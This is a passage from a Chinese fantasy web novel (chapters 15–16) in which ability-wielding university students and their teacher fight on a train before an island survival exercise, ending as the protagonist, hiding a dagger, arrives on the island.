在活动中打败同学,可不会得到责罚。而且,在上岛后,百名同学都会是竞争者。
现在明确的遗失物是箱子,像夏云尹、薰,他们确定自己需要箱子,所以会去想办法夺回。
至于规则,当然由老师来定。
可其他人呢?
下一个“遗失物”,能让其他人也主动参与进来的存在会是什么?
干脆,先排除对手。
没有损失,百利无害。
夏云尹思考着,又想到刚才薰对自己的评价。
阴……
“可能真的是吧。”
背光的青年笑颜如花,纵使面上被阴影侵占,也不会让人觉得害怕,只觉得是他主动站在黑暗里。
面上只有右眼被阳光照射,可让人意外的是,那只眼睛却漆黑如墨,远不如左眼看起来明亮。
在黑暗里发光,在阳光下发黑……
真是奇怪,薰不自觉的想。
下一秒,薰不顾夏云尹在场,直接对星光说:
“这不是黑色的星星,是内陷黑色的星星。”
至于外壳嘛……
薰那双碧绿如深潭的眼珠一转,忽然透过窗口的夏云尹,看见他背后一望无际的大海。
她一拍手,激动的抓住星光,似想得到认可:
“蓝色的!”
夏云尹动作一滞,然后他看见星光慢慢地点了点头,那道特殊的声音再次响起:
“嗯。”
星光回首,紫色的眼睛中星辰流溢,她说:
“你是蓝色的星星。”
15.布吉安
夏云尹轻笑出声。
可能是因为蓝色星星的话题,明知世界仍是谜团,他也稍稍舒了口气。
他似乎不用担心。
世界的中心是主角,拯救世界的当然也是主角。
可是……
黑色短发下,阴郁一时凝于眉间,但没被人发现。
他的痊愈,是否会被夺走?
目光一闪,慢慢转冷,但面上仍停留着笑意。
正因不存在陪同者、合作者,作为唯一的决策者,他不在乎自己的行为会对漫画产生什么影响。
他很不可控。
漫画家真的不知情,不在意吗?
真烦。
夏云尹离开窗口,理了理袖子,抚平上面的折痕。
只要这个“神明”未露出全貌,他可能永远无法知情。
算是维度间的局限性吧。
车厢里,因为刚才的闲聊,氛围好了许多。
虽然星光的言行常人不懂,甚至觉得奇怪,但现在在场的其他人都适应良好,他们相处融洽。
包括乱虎。
夏云尹的肩头上,站着一只黑色的老鼠,眼神机灵,触须微动。
它是乱虎留下的“眼睛”。
而自然接下的夏云尹,莫名觉得它很眼熟,和当时在教室里见到的那一只黑老鼠一样。
是直觉。
在认识乱虎前,夏云尹也没见过这么多老鼠。
“吱吱。”
注意到视线的黑鼠出声,与面前的人类对望。
夏云尹发现,它有着和乱虎一样的眼睛。
似人般的神智,不愧是【鼠患】。
他动了动手腕,刚要走向两人,就遭到阻止。
只见薰神色一僵,伸手挥舞,焦急地说:
“别!它别靠近!等一下!”
霎时间,那带着兽类的精明的圆瞳一转,重新变回往常的如碧玉的绿瞳。
见状,夏云尹迅速后退一步,不动声色地抬手,挡住受惊的黑鼠。
坏了。
真是食物链啊!
而薰则强行压下冲动,面色稍缓后,她捂着嘴,蹙眉看向被挡住的黑鼠,说道:
“什么异能啊?和我的相性太差了。”
随即,她利落转身,语气随意:
“我的异能是【请仙】。说是仙但不神奇,只是有人惦记着,不愿意改口罢了。”
薰目前能请的有两位,其一便是夏云尹曾见到的狐狸。
即,狐仙。
话音落下不久,夏云尹敏锐的察觉到变化,很快,他也开口:
“我的异能是【自愈】,刚觉醒不久,所以理解不深。”
正如李仲丙,异能者加深对自己异能的理解,是他们的必修课。
同理,也是他们变强大的途径之一。
对于夏云尹刚觉醒这件事,知道的人很少。
虽然他是插班生,但短短五天,理由随便一扯就行。
但很显然,这个不为人知的真相,让听者大惊。
“哎?你居然刚觉醒?”
薰极快地看了夏云尹一眼,又看向躺在地上的倒霉蛋。
同时,夏云尹停顿须臾,继续说道:
“顺便一提……”
他颔首,短发在耳侧因动作而微动,稍稍翘起。
“我的父母都不是异能者。”
下意识的,他改口了。
明明可以说“自己第一次来异能界”之类的话,但夏云尹选择了保留,将话题的重心移到上一辈。
依旧是真话。
但他可操控的空间增多了,甚至能引人遐想。
不错……
或许能帮他隐瞒那些非人特性,打个掩护。
直接无师自通,在真话下藏假意的夏云尹,重新看向薰和星光,目光澄澈,似在等待。
早在上车的时候,四个人就互换了姓名。
唯一的例外是薰。
她不愿意告诉他们自己的姓氏。
而薰对夏云尹的感观,也从“有些阴险、敏锐的同学”,变成“一些群体眼里的香饽饽”。
这可不妙。
异能界里拉帮结派的肮脏画面,她见多了。
随即,薰注视着夏云尹。
他虽然笑吟吟的,但在薰眼中,莫名能捕捉到一股黑气,正隐隐缠绕着他。
无害。
难不成与他的异能有关?
最后,薰决定遵守社交礼仪,不再多言。
当然,薰也不再讲自己的事情,似是避讳。
没办法,夏云尹只能将目光移向星光。
她正站在靠后的位置,从背后注视着自己的室友。
薰的看法是错的,敏锐的何止夏云尹一人。
只是他们不戳破,默默关注着罢了。
半晌后,星光打破沉默:
“我的异能是【重力】,妈妈是异能者。”
妈妈?
又是一个未出场、没印象的角色。
顾及到未在场的第四人,夏云尹伸出手,让黑鼠站在掌心上,由他来当传声器:
“这是【鼠患】,数量多,喜欢阴暗、群居。”
科普向的介绍。
夏云尹皱眉,补充道:“能感知敌意,请注意。”
他早就觉得,这些老鼠似人,但保留着兽类的直觉,且擅长隐匿。
有趣,但麻烦的异能。
一定是个难缠的对手。
“吱。”
闻声,夏云尹将它放回到肩上,环顾四周。
每一个车厢的格局都是相似的,车厢之间的连接也很坚固,甚至可以抵挡【重力】。
也不知道创造者是谁。
二十人因偷袭而昏迷,但夏云尹觉得,还应该来二十人。
剩下六十,压力就小多了。
所以……
“要怎么一次性解决掉二十人呢?”
时间可不多了。
……
车厢一。
数不清的鼠类,聚在一起的声音让人骨头发痒。
李仲丙本就听力灵敏,他压下怒意,但笑容不再纯粹。
就这么晾着他,啊?
“这群小鬼头!”
下一秒,他直接起身,身上的灰鼠立时掉落,落地后,又很快地窜入鼠群,再一次壮大声势。
李仲丙环视车厢内的鼠群。
作为异能,有这规模已经算是出色。
“但是,果然不够看。”
他将墨镜摘下,露出剔透明亮的蓝眼睛,里面闪烁着怒火,同时,暗含期待。
“布吉安,准备扩音。”
得到命令,空中的布娃娃优雅地转了一圈,红发如蝶,飞舞间如梦般美丽,随后,她飘到鼠群上方。
两个异能正式对峙,瞬息间,李仲丙下令:
“布吉安,打一个带着甜蜜恶意的招呼吧。”
刹那间,要冲破耳膜的声音从布娃娃口中传出:
“嘿、嘿……你好!!”
噼里啪啦,一场混乱。
鼠群匆匆退散,但遭到音波袭击,动作变得迟缓。未来得及逃脱的,则如气球般砰的炸开,化为虚无。
整间车厢无一幸免,一眼望去,摆件全都损毁。
好在,列车的基底足够牢固,没有出事。
鼠群不再堵门,布娃娃回到李仲丙身边,纽扣样式的眼睛,显得她更加无害、可人。
可一地残骸,说明她不容小觑。
“老师要来了哦~”
李仲丙摘下耳塞,活动身躯,跟在布吉安后面,从窗口翻到车厢顶。
海风很大,阳光明媚。
但车顶空无一人。
李仲丙:“……”
啊?
“可恶!臭小鬼!!”
同时,车厢二十。
溜回来的乱虎得到异能的反馈,一时无言。
好强。
该说不愧是老师吗?
可在某一瞬,乱虎想到夏云尹。
在老鼠的眼中,这个人的命运……
“嘿、嘿嘻嘻嘻。”
突兀出现的诡异的笑声,打断了他的思绪。
窗外,红发乱舞,似魔鬼的爪牙。布吉安瞧着车厢里的灰发学生,声音带着古怪的凝滞感,一顿一顿:
“同学,你同车厢的人在哪儿?”
“在前面。”
乱虎迅速回答,让布吉安一时愣住。
他扭头,看向窗外的布娃娃,眼尾下压,苍白倦怠的脸上头一回露出狡黠、灵动。
明显是陷阱。
布吉安,即李仲丙,得出结论。
作为老师,他清楚每个人
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的长相,与异能。
布吉安歪头,看看乱虎,然后慢慢侧身,以一种满是困惑的姿势,看向他口中的前面。
前面?
嗯?
布吉安听到风声,刹那间,白光一闪,一把利刃如一轮弯月,直面袭来,但持刀者动作干脆,竟显出几分美感。
“啊!”
布娃娃大惊,脱口而出的音波镇住了利刃,一时间,他们僵持在半空中。
而此时,吊在车窗外,尝试偷袭的夏云尹,正在克服因耳鸣而产生的晕眩感、无力感。
他的左手抓着车顶边沿,手臂肌肉有力,连带着手筋都微微突起,在阳光下,泛着青色。
唰的一声,原本僵住的男人恢复正常,手腕一翻,将有些脱手的利刃收回。
旋即,他不顾布娃娃的目光,直接钻回车厢。
但不是他们的二十,而是十九。
他们的隔壁,四名学生都在,相安无事。
因外面的莫名响动,这四人还未来得及查看,就发现一个黑头发的陌生人,从敞开的窗口滑了进来。
没错,是滑。
许箬泽目瞪口呆,他是头一回,看到一个人能展露出如此流畅的姿态,同时,带着攻击性。
自在、随性……
好酷!
但是,这位不速之客,并不理会其他人的关注。
在他进来后不久,一只外表可爱的布娃娃,也飘了进来。
四人都感到困惑,他们想得到解释,可瞬息间,那个人就握着刀,挥向布娃娃,目光专注。
如同上演童话剧,但刀光并不作假。
布吉安侧身一躲,原以为能安全,可那明明已经向反方向挥舞的利刃,居然在那个人的控制下,硬生生地停了冲势,甚至在转眼间,向布娃娃再次袭来!
出彩!
刀仿佛他的一部分,或是奴仆。
只要他开口,利刃便对向谁,划开谁的血肉。
只是这次的目标,是棉花。
因变化太快,距离过近,布吉安无法,只能再次开口:
“啊啊!!”
车厢一里的场景,在这里再现。
可为了不伤到学生,李仲丙有在控制音波,其他的,他就不保证了。
在上岛前进行筛选,本来也是李仲丙的计划。
正在赶往列车后排的李仲丙,其实很悠闲。
他的笑容重新变得灿烂,正和路过的车厢里的同学们交谈,举止自然,完全看不出他正在使用异能力。
这么一来,他的速度变得更慢了。
扯话题时,李仲丙通过布吉安,盯着这个黑发同学,注视着那双漆黑阴沉的眼睛,哪怕是棉花,也无法忽视里面表露出的观测。
李仲丙感到愉悦。
这不是杀意,可那黑眸中的敌意,全都倾向一人。
全都倾向于布吉安。
如同蛛网上的蜘蛛,正盯着在周围盘旋的飞蝶,等待、逼迫其沦为自己的美餐。
这种近乎完美的专注力,正是李仲丙选择当老师的原因。
当间谍的话,他从哪里去寻找这种赤……裸的敌意!
“嘻嘻嘻嘻!”
思及此,车厢十九里的布吉安,开始不停地发笑。
布娃娃的甜美,与笑声形成诡异的对比。
布吉安飘在高空,俯视着车厢里唯一站着的人,正是那个不乖的学生。
车厢里原来的四人,则都因为刚才的音波,昏迷在地。
而中招的夏云尹,不再选择忍受。
那些笑声似远似近,在他的脑海中翩翩起舞,搅起一片混乱。
但这一次,夏云尹放任自己陷入这种晕眩。
果然……
下一瞬,在布娃娃的笑声下,一道更轻,但同样难掩笑意的声音响起:
“嘻、嘻嘻,适应过来了……”
车厢内,青年的表情与布娃娃相似,都有着偏向癫狂的喜意。
他的面色潮红,因充血而耳鸣不断。
利刃指向布娃娃,夏云尹脑袋一歪,只能用左手撑着自己的脸,左眼只能通过指缝观察外界,同时,肌肤能感知到烫意。
他继续笑着,眼中的专注依旧,却显得愈发骇人。
他说:“老师,下一回合。”
好。
又淘汰掉八人。
16.上岛
李仲丙感到意外。
在他看来,面前的人显然是上头了。
这是……
开钮了?
还是,简单的性格问题?
嗜战、果断、敏锐、狠辣……
李仲丙觉得好奇,面前的人到底经历了什么。
天生还是后天?
随即,思维一变,念头一转。
“嘿。”
列车前排,李仲丙嗤笑出声。
他不顾周围学生们的打量,露出恶劣的笑容,因为兴致盎然,眼睛显得湛蓝明亮,如同晴空下的海面。
他决定再玩玩,探一探底细。
下一秒,钮于布娃娃的体内出现。
同时,布吉安的气势骤变。
伴着簌簌声,黑色的裙摆慢慢拉长,最下端缀着花纹繁复的蕾丝,层层叠叠,华丽精致。
而头顶则不断冒出新的红发,但发色更深,且笔直顺滑。最后,正好长至脚踝,唯有发尾还留有最初的蜷曲。
无形间,布吉安看起来大了一圈。
同理,想必最重要的扩音器也是。
夏云尹:“……”
来真的?
这老师的脾性真大。
唰!
转眼间,他抬起右手,刀锋朝外,再次挥向布吉安。
他的大脑,明明还在消化那些因突变而生成的讶然。可是,眼睛一捕捉到进攻的时机,他便不会再放开。
跟上去!
夏云尹往前踏出一步。
无需低头,他避开地上昏迷的人,精准地寻找到落脚点。鞋底踩着地面,因步子一转,发出短促的吱滋声。
刀面两侧,一时间,分别倒映着夏云尹和布吉安的眼睛。
一黑一蓝,都是最纯粹的色泽。
可这次,布吉安不再躲闪,而是对着面前的人,直接释放出音波,没有一点犹豫。
尖利的音波,连调子都听不清。
空气似乎都在震动,气温也在上升。
车窗外,遭到波及的海面也开始晃动,起伏间,卷起一片浪花。
可让布吉安惊奇的是,在更强的音波前,那把利刃依旧来到了她的面前,甚至,尖端触碰到了她。
刺啦一声清脆的声响,白色的棉花从缺口隐隐露出,布娃娃的表情显得呆愣,配上她脸上的划痕,莫名有些可怜。
“哎?”
没有音波加持,布娃娃的声音清甜可人。
饱满的圆手举起,不利索地触摸着伤口。
然后,布吉安缓慢地抬头,与袭击者对望。
对方正中音波,显然不是完全没有问题,但他依旧站着。
身材修长,黑发凌乱,面容帅气。
忽略掉他不可自抑的轻喘,以及正在小幅度颤抖的手腕,夏云尹就和没事人一样,看起来肆意潇洒。
啊?
这让李仲丙更加困惑。
在开钮后,布吉安可以控制音波的范围。
若是说一开始的音波是无差别攻击,那么现在,音波完全可以只攻击夏云尹一人,只要控制范围就行。
但夏云尹毕竟是学生,李仲丙不会做绝。
所以,布吉安最后还是将余波散开,向两侧延伸。
可是,这也不是夏云尹能承受的才对。
【自愈】是这样的吗?
不知老师的所思所想,夏云尹正在收刀。
他的动作变慢了许多,正在不断重复着收回、取出的动作。
这种简单的重复动作,使他很快克服了颤抖,能够再次控制住手腕。
夏云尹抬头,目光含笑,里面似有火光,在深渊内静静燃烧,看不见光亮、色彩,却能感知到那股灼热。
但当他看向近在咫尺的布吉安时,眼睛忽然感到刺痛,一眨,又顿时恢复正常。
随即,夏云尹微不可查地屏住气,状似无意的打量布吉安。
在布吉安的体内,有一个硬币大小的白色漩涡。不能感知到具体位置,但显然,那个漩涡正在运作。
这是夏云尹头一次看到这个东西。
钮。
他看到了钮!
可在他下一次闭眼,重新睁开眼时,那抹白色消失得无影无踪,如同幻象。
夏云尹一时哑然,旋即,产生了后悔的情绪。
可恶!
那个如此明显的存在,肯定是布吉安变强的关键!
他刚才不应该留在原地的!
刹那间,一个念头在心间萦绕:他应该打破那个漩涡。
夏云尹的笑意稍减,染上一丝不甘。
他啧了一声,轻轻晃头,将垂下来的头发摇向两侧,保证不会挡住视线。
虽是短发,但夏云尹发质好,且长得快。
现在的他,没时间去整理头发,只能尽量将它们撇开,不要挡住他的脸,影响他的判断。
于是,布吉安能看到这张完整的帅脸。
同时,能看清夏云尹的表情。
他似在不满意,眉头微微蹙起,嘴唇抿起,正眼神有些幽怨地看着布吉安。
操控着异能的李仲丙:“……”
不是。
这不对吧?
白色的棉花自刀划出的缝隙中溢出,软绵绵的,手感极佳。
而夏云尹则拿着刀,身上没有一处伤口。
你不满什么啊!
感知到情绪,布吉安笔直地往上飞,一团棉花不慎飞出,随后,音波再次从她的口中出现。
转瞬间,那团棉花不知飞到何处。
而夏云尹,则机敏地察觉到不妙。
他面朝着布吉安,向后面跳跃了数步,动作轻盈灵活,如空中飞燕。他一路闪躲,直到背靠大门。
左手早已背在身后,咔哒一声,门直接打开。
然后,他双脚一蹬,直接跳入车厢十八。
下一瞬,布吉安跟上,但她发现车厢里的人的表情很古怪。
他们都半眯着眼,似在打瞌睡,挨着靠在一起。
这么大的动静,都没能让他们惊醒。
有诈!
可是,音波已经袭卷整间车厢,无法收回。
而原先站在地面上,引诱布吉安出招的夏云尹,则在这时,将手中的利刃向头顶一掷。
铮的一声,因力度大,半数刀刃没入吊灯。
一些碎片落下,如同晶莹的雪花。
正在施展音波的布吉安,只能眼睁睁的看着他似轻轻一跳,两手握住刀柄,手腕处青筋突起。
随即,他腰腹用力,一瞬间,露出里面出众的肌肉。他利用自己的臂力,以及背脊的肌肉群,使身躯上移,几乎与天花板平行。
正好,避开了下方音波袭击的范围。
!
开钮后的优势,反而被对方利用,成为了他的突破口。
更甚至,避开这次的音波,并不是夏云尹最终的目标。
只见他没有停顿,一个旋身,以手中的利刃为中心轴,长腿一扫,直接踢中布吉安的背部。
布娃娃的重量很轻,在力度的压制下,她无法反抗。
一切都发生的太快。
音波还未结束,但随着布吉安从车厢的一端飞向另一端,音波的攻击点也发生了变化。
全都正中那扇门。
“啪嚓!”
门比不上车厢坚固,应声破碎。
而布娃娃则面朝前方,直直飞入车厢十七,而音波的最后一个音节,也因事情突然,没有收回,在此刻爆发:
“啊!”
音波再次响起。
与车厢十八相同,这间车厢里的四人,也从一开始的靠在一起,变成一一瘫倒在地。
车厢顶上。
薰听到动静,竖瞳绿油油的,显得冰冷阴森。
可霎时间,欣喜便涌上双目,如春雪消融,声音满是欢喜:
“计划成功!”
在车厢十九,由夏云尹牵扯住老师的异能。同时,乱虎与星光分别解决车厢二十一、车厢十六。
这是十二人。
而薰则用异能让车厢十八、十七的同学们陷入“出魂”转态,进入半昏迷,这也是她目前能办到的最大人数。
意识清醒的人或许能抗住布吉安控制下的音波,但无法躲避、意识昏沉的人,只会以此为契机,陷入昏睡。
薰保证,他们现在已经进入香甜的梦乡。
又是八人。
一共二十人。
因异能隐隐透支,薰面色发白,她擦了擦额前的虚汗,压着声音说:
“果然、很阴啊……”
当然,能接受这个计划并实施的四个人,谁都逃不开。
嘿。
……
战况平息。
列车后排,唯一完好无损的车厢二十内。
李仲丙正独自霸占一条座椅,左脚高高翘起,对着通讯器汇报情况。
他说话很随意,能察觉到他其实很不耐烦:
“是,没错。四十个淘汰了,啊?”
忽然,他奇怪的大叫,声音加重:
“不是我干的!”
他面色不虞,听了对面好一番唠叨,才改口:
“好吧,我也参与了一点点。问题不大,测试还能继续,嗯嗯嗯……”
在一长串仿佛没有尽头的“嗯”后,李仲丙终于结束了通讯。
他舒了口气,放下翘起的左脚,一双手搭在膝盖上,上身前倾,一手将墨镜重新戴上,然后慢吞吞的扫视面前的四个人。
一个一个地看,看得很仔细。
这种古怪的态度,让乱虎感到不适,让薰感到不爽。
星光和夏云尹,反而表现得很平静。
夏云尹甚至在想刚才听见的“测试”。
但他并不知道这次测试得出的结果,会让学校的哪些决策发生变化。
“咳咳!”
闻声,夏云尹望过去,发现李仲丙正一手握拳,抵在唇前,姿势标准,没有感情,全是演技。
而那故意压低,显得严肃的咳嗽声,配上他现在有些刻意的动作,一时间,让人忍俊不禁。
但李仲丙不在乎。
见学生们都看向自己,他终于满意的点头,立马扭头看向最左侧的乱虎,率先向他开炮:
“为什么不让鼠群攻击我?”
不等回答,李仲丙一拍大腿,声音愤慨:
“我等你这么久,结果你就虚晃一枪,逗我玩呢?”
听这话,乱虎的表情变得空洞。
但很快,老师便换了目标。
李仲丙看向薰,发现正抱胸用目光回怼自己的薰,很有当刺头的潜质,于是,他只是挠了挠头,装作词穷:
“嗯……怎么说呢……”
他一歪头,扬长音调:
“不像是祝家的风格啊~”
闻言,薰的眼神一变,竖瞳中寒光迸发。
同时,面容发生变化。
精致的下半张脸,一瞬间虚化出狐狸的模样,利齿坚硬、吐息带着血味、毛皮鲜亮。
半人半狐。
可一眨眼,薰又回归本相,沉默不语。
她一秒就调节好心态,不选择跳入李仲丙的陷阱。
呸~
李仲丙并不在意,他的目光再次平移,看向星光。
对于这位天赋者,他还真的,没有多大信心能成功教导她。
异能出众,外表显眼。
这类异能者,命途往往都很极端。
他们要不成就辉煌,万人敬仰,甚至让后人惦念;要不一败涂地,流离失所,精神失常。
中庸的天赋者,似乎并不存在。
天赐的优势,往往最先压垮它的持有者。
难办。
而站在中间的星光,则任由李仲丙打量。
她的呼吸节奏都不变一下,目光平静,很明显无视了,或者说不在意这个老师。
这个情况,让注意到的三个同伴,都在不自觉间,偷偷地看向她。
一时间,包括刚才被故意戳痛处的薰,三人的想法出奇一致:
演一下啊!
这个老师,一看就是那种很烦人,如果发现自己被无视,会耍小性子的人。
很麻烦!
见星光没反应,他们立马转换思路:
不能被发现。
于是,夏云尹不留痕迹的往前,自然的挪了一步。
“嗯?”
李仲丙面露疑惑,看了一圈,觉得有些奇怪。
所幸,他的注意力很快便被站在最右侧的重头戏吸引。
他没有注意到星光在走神。
在离开争斗、打斗后
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,这位学生的气质发生了翻天覆地的变化。
阳光下,他的神情异常温和。
垂下的眼睫如迷雾般,将那双眼睛中的情绪隐匿,让人看不真切,因此,不再似之前一般具有瘆人的压迫感。
他就静静地站着,如同一个温柔体贴的好学生。
……个鬼!
借助于墨镜的遮挡,李仲丙狠狠地眨了眨眼睛,然后才重新看向夏云尹。
这时,他居然慢慢侧转身子,体贴的保证老师能看清自己的全身,包括正脸,没有一丝阻碍。
随后,他笑如春风拂面,温声询问:
“怎么了嘛,老师?”
李仲丙沉默。
两种可能:
一,这小子演他!歹毒!
二,这小子有病!歹毒!
李仲丙欲言又止。
最后,他只能放弃一探究竟,大吵大闹。
因为活动还在继续,哪怕参与者少了几乎一半,也必须进行。
李仲丙伸手揉捏自己的后脖颈,思量片刻,叮嘱道:
“你们之后什么都不要说,不要告诉别人具体的情况,也不要告诉别人你们实施的这些计划。”
李仲丙暗自咬牙,盯着面前乖巧罚站的四人,不由感到烦闷。
都干坏事了,现在还卖乖。
可恶。
更可气的是,那个弄伤布吉安的人,居然还在点头,似在对他说出的话做出回应。
李仲丙继续说:
“你们之后就呆在这里,哪儿都不许去。我不追究你们刚才的行为,不用担心。”
夏云尹点头。
半晌后,李仲丙补充道:
“等你们回校了,记得说是你们把车厢弄乱的,和我无关。”
无人点头。
甩锅!
一时间,四个人齐刷刷抬头,看向李仲丙。
他当没看见,理直气壮的说道:
“算了,被问到我也会老实回答的,我这算是正道防卫。”
?
防卫过当了吧,老师。
耳膜都快穿孔了。
夏云尹维持着虚假的笑容,在心中肺腑。
然后,他看到李仲丙朝自己伸出了手。
红头发的男人笑得揶揄,有些不怀好意,李仲丙故意抖了抖手,似在示意。
他说:“武器也是要放在箱子里的,来,老师帮你放回去。”
闻言,除去夏云尹、星光,另外两人的眼神一变,变得不善。
李仲丙伸着手,在心底窃笑。
可让他觉得意外,又觉得合理的是,当他离开这间车厢时,真的拿到了那把利刃。
正是割伤布吉安的那把。
就这么给他了?
再次变得无聊,李仲丙自言自语:
“唉~不好玩~”
他不知道,车厢二十里,正有人打算偷袭他。
薰握拳,伸手指向关上的门,目光阴狠,提议道:
“敲他,我偷偷上,你们趁机夺回东西。”
说罢,她看向星光。
在李仲丙离开后,星光暂时脱离了那种超然的出神状态,这时正在休息,恢复精力。
而感知到视线,星光慢了半拍,直接看向对面。
对面,夏云尹的手中空无一物,但他表现得很自在,并没有因为失去利刃而产生不良情绪。
星光的呼吸放缓,她冲薰点了点头,然后眼神一变,再次回到之前那种放空的状态。
薰:“……”
她只能看向乱虎,然后发现他正在看夏云尹。
准确的说,是看夏云尹的小腿。
于是,薰也望去,看着裤子的线条下,隐隐约约的肌肉曲线。
嗯?
意识到被发现,夏云尹不再默不作声,他比了一个嘘声的动作,向他们回以轻快的笑意。
然后,他提起裤脚,慢慢拉高,露出里面的东西。
是一把匕首。
它被皮带固定在小腿外侧,正在随着肌肉的呼吸,慢慢起伏。
见状,薰和乱虎都一愣,眼睛瞪大。
乱虎瞪得小,薰瞪得大,两人异口同声:
“还有?”
夏云尹呵呵一笑,随即将匕首取出。
其实,刚才踢布吉安时,他还担心会被发现。
在一开始,他选择使用利刃时,就做好了最后会被收走的准备。
“嘛……”
在他们的注视下,黑发青年挠了挠自己的头发,将翘起的乱发理顺,面上露出有些不好意思的神情,他语气真挚,说道:
“这把利刃太长了,一直藏着很累的……”
下一瞬,话题急转,明明声音不变,却莫名让人生寒:
“而且上岛后,武器还不容易找吗?”
黑目中,兴味涌起。
并不是每一个异能者都只专注自身的异能,不用武器。
而很明显,依李仲丙所言,武器的去处只有一个。
匕首在掌间飞舞,刀光凛凛,但他并不减速,完全将其当成一种消遣的游戏。
“找到箱子,不再是一两个人的目标了。”
真的是大乱斗啊。
下一秒,薰拍了一下乱虎,悄声说:
“你和他是舍友吧,真的不会被他骗得团团转吗?”
而被拍背的乱虎,则在僵硬片刻后,默默低头,向薰摇了摇头。
他没被骗。
于是,薰只能再次看向夏云尹,发现他还在玩匕首,笑得很快意,仿佛心中没有任何阴霾。
这已经不是阴了。
夏云尹明显也在享受这种乐趣。
嗯……
有一种邪性的欢乐感。
……
两小时后。
列车终于停下,大一学生们抵达岛屿「火山」。
然后,六十一名学生被打乱顺序,散落在岛屿的各个角落。
可能独自一人,可能两人,甚至更多。
而夏云尹,此时正面色和善,与自己同一落点的人问好:
“嗨,我是夏云尹。”
“……嗨。”
声音苦涩。
许箬泽看着面前的人,在心中落泪。
啊!
是暴君!
救命!